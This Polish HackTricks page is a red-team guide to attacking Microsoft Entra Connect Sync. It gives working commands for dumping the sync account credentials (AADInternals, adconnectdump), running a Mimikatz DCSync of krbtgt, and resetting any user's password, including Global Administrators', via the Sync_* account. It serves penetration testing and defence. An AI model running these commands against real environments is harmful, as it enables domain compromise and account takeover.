Az - Connect Sync

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podstawowe informacje

Z dokumentacji: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) jest głównym komponentem Microsoft Entra Connect. Odpowiada za wszystkie operacje związane z synchronizacją danych tożsamości między Twoim środowiskiem on-premises a Microsoft Entra ID.

Usługa sync składa się z dwóch komponentów: on-premises komponentu Microsoft Entra Connect Sync oraz strony serwisowej w Microsoft Entra ID nazwanego Microsoft Entra Connect Sync service.

Aby z niej korzystać, konieczne jest zainstalowanie agenta Microsoft Entra Connect Sync na serwerze w środowisku AD. Ten agent będzie odpowiadał za synchronizację ze strony AD.

Connect Sync to w zasadzie „stary” sposób w Azure na synchronizowanie użytkowników z AD do Entra ID. Nowo rekomendowaną metodą jest użycie Entra Cloud Sync:

Az - Cloud Sync

Generowane principals

  • Konto MSOL_<installationID> jest automatycznie tworzone w on-prem AD. Temu kontu przypisywana jest rola Directory Synchronization Accounts (zob. documentation), co oznacza, że ma uprawnienia do replication (DCSync) w on-prem AD.
  • Oznacza to, że każdy, kto przejmie to konto, będzie w stanie przejąć domenę on-premise.
  • W on-prem AD tworzone jest konto zarządzane ADSyncMSA<id> bez specjalnych domyślnych uprawnień.
  • W Entra ID tworzony jest Service Principal ConnectSyncProvisioning_ConnectSync_<id> z certyfikatem.

Synchronize Passwords

Password Hash Synchronization

Ten komponent może być także użyty do synchronizacji haseł z AD do Entra ID, dzięki czemu użytkownicy będą mogli używać swoich haseł AD do logowania w Entra ID. W tym celu należy włączyć password hash synchronization w agencie Microsoft Entra Connect Sync zainstalowanym na serwerze AD.

Z dokumentacji: Password hash synchronization jest jedną z metod logowania używanych do osiągnięcia tożsamości hybrydowej. Azure AD Connect synchronizuje hash, skrótu hasha, hasła użytkownika z lokalnej instancji Active Directory do chmurowej instancji Azure AD.

W praktyce wszyscy użytkownicy oraz hash skrótów haseł są synchronizowani z on-prem do Azure AD. Jednak hasła w postaci jawnej ani oryginalne hashe nie są wysyłane do Azure AD.

Synchronizacja hashy odbywa się co 2 minuty. Domyślnie wygasanie hasła i wygasanie konta nie są synchronizowane w Azure AD. Zatem użytkownik, którego on-prem hasło wygasło (nie zostało zmienione), może nadal uzyskiwać dostęp do zasobów Azure przy użyciu starego hasła.

Gdy użytkownik on-prem chce uzyskać dostęp do zasobu w Azure, uwierzytelnianie odbywa się w Azure AD.

Note

Domyślnie użytkownicy z znanych uprzywilejowanych grup, takich jak Domain Admins, z atrybutem adminCount ustawionym na 1 NIE SĄ synchronizowani z Entra ID ze względów bezpieczeństwa. Jednak inni użytkownicy, którzy należą do uprzywilejowanych grup bez tego atrybutu lub którzy mają przypisane wysokie uprawnienia bezpośrednio, MOGĄ być synchronizowani.

Password Writeback

Ta konfiguracja pozwala na synchronizowanie haseł z Entra ID do AD, gdy użytkownik zmieni hasło w Entra ID. Zwróć uwagę, że aby password writeback działał, użytkownik MSOL_<id> automatycznie wygenerowany w AD musi otrzymać dodatkowe uprawnienia zgodnie z dokumentacją, tak aby mógł modyfikować hasła dowolnego użytkownika w AD.

Jest to szczególnie interesujące z punktu widzenia kompromitacji AD z przejętego Entra ID, ponieważ umożliwia zmianę hasła „prawie” dowolnego użytkownika.

Domain Admins i inni użytkownicy należący do niektórych uprzywilejowanych grup nie są replikowani, jeśli grupa ma atrybut adminCount ustawiony na 1. Jednak inni użytkownicy, którym przypisano wysokie uprawnienia wewnątrz AD bez przynależności do tych grup, mogą mieć zmienione hasło. Na przykład:

  • Użytkownicy, którym bezpośrednio przypisano wysokie uprawnienia.
  • Użytkownicy z grupy DNSAdmins.
  • Użytkownicy z grupy Group Policy Creator Owners, którzy utworzyli GPO i przypisali je do OU, będą mogli modyfikować GPO, które utworzyli.
  • Użytkownicy z grupy Cert Publishers Group, którzy mogą publikować certyfikaty do Active Directory.
  • Użytkownicy z dowolnej innej grupy o wysokich uprawnieniach bez atrybutu adminCount ustawionego na 1.

Pivoting AD –> Entra ID

Enumerating Connect Sync

Sprawdź użytkowników:

# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Sprawdź Connect Sync configuration (jeśli istnieje):

az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

Znajdowanie haseł

Hasła użytkownika MSOL_* (oraz użytkownika Sync_* jeśli został utworzony) są przechowywane w SQL Server na serwerze, na którym zainstalowano Entra ID Connect. Administratorzy mogą wyodrębnić hasła tych uprzywilejowanych użytkowników w postaci jawnej.
Baza danych znajduje się w C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Można wyodrębnić konfigurację z jednej z tabel — jedna z nich jest zaszyfrowana:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

The encrypted configuration is encrypted with DPAPI and it contains the passwords of the MSOL_* user in on-prem AD and the password of Sync_* in AzureAD. Therefore, compromising these it’s possible to privesc to the AD and to AzureAD.

You can find a full overview of how these credentials are stored and decrypted in this talk.

Wykorzystywanie MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Warning

Poprzednie ataki doprowadziły do kompromitacji drugiego hasła, aby połączyć się z kontem Entra ID o nazwie Sync_* i następnie skompromitować Entra ID. Jednak to konto już nie istnieje.

Wykorzystywanie ConnectSyncProvisioning_ConnectSync_

Ta aplikacja jest tworzona bez przypisanych ról zarządzania Entra ID lub Azure. Jednak ma następujące uprawnienia API:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

Wspomina się, że SP tej aplikacji nadal może być użyty do wykonania niektórych uprzywilejowanych działań przy użyciu nieudokumentowanego API, jednak o ile mi wiadomo nie znaleziono jeszcze PoC.\ W każdym razie, zakładając, że to może być możliwe, warto by dalej zbadać, jak znaleźć certyfikat pozwalający zalogować się jako ten service principal i spróbować go wykorzystać.

Ten blog post opublikowany wkrótce po zmianie z używania użytkownika Sync_* na tego service principal, wyjaśniał, że certyfikat był przechowywany na serwerze i można go było odnaleźć, wygenerować dla niego PoP (Proof of Possession) oraz graph token, a dzięki temu dodać nowy certyfikat do service principal (ponieważ a service principal zawsze może przypisać sobie nowe certyfikaty) i następnie użyć go do utrzymania trwałego dostępu jako SP.

Aby wykonać te czynności opublikowano następujące narzędzia: SharpECUtils.

Zgodnie z this question, aby znaleźć certyfikat, musisz uruchomić narzędzie z procesu, który wykradł token procesu miiserver.

Wykorzystywanie Sync_* [DEPRECATED]

Warning

Wcześniej w Entra ID tworzone było konto o nazwie Sync_* z bardzo wrażliwymi przypisanymi uprawnieniami, co pozwalało wykonywać uprzywilejowane działania, takie jak zmiana hasła dowolnego użytkownika lub dodanie nowego credential do service principal. Jednak od Jan2025 to konto nie jest już domyślnie tworzone, ponieważ używana jest teraz aplikacja/SP ConnectSyncProvisioning_ConnectSync_<id>. Mimo to może nadal występować w niektórych środowiskach, więc warto to sprawdzić.

Kompromitując konto Sync_* można zresetować hasło dowolnego użytkownika (w tym Global Administrators)

Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Można też zmodyfikować hasła jedynie użytkowników cloud (nawet jeśli to nieoczekiwane)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Możliwe jest również zrzucenie hasła tego użytkownika.

Caution

Inną opcją byłoby przydzielenie uprzywilejowanych uprawnień do service principal, które użytkownik Sync ma uprawnienia wykonać, a następnie uzyskanie dostępu do tego service principal jako sposób privesc.

Seamless SSO

Możliwe jest użycie Seamless SSO z PHS, które jest podatne na inne nadużycia. Sprawdź to w:

Az - Seamless SSO

Pivoting Entra ID –> AD

  • Jeśli password writeback jest włączony, możesz zmodyfikować hasło dowolnego użytkownika w AD który jest synchronizowany z Entra ID.
  • Jeśli groups writeback jest włączony, możesz dodać użytkowników do uprzywilejowanych grup w Entra ID, które są synchronizowane z AD.

References

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks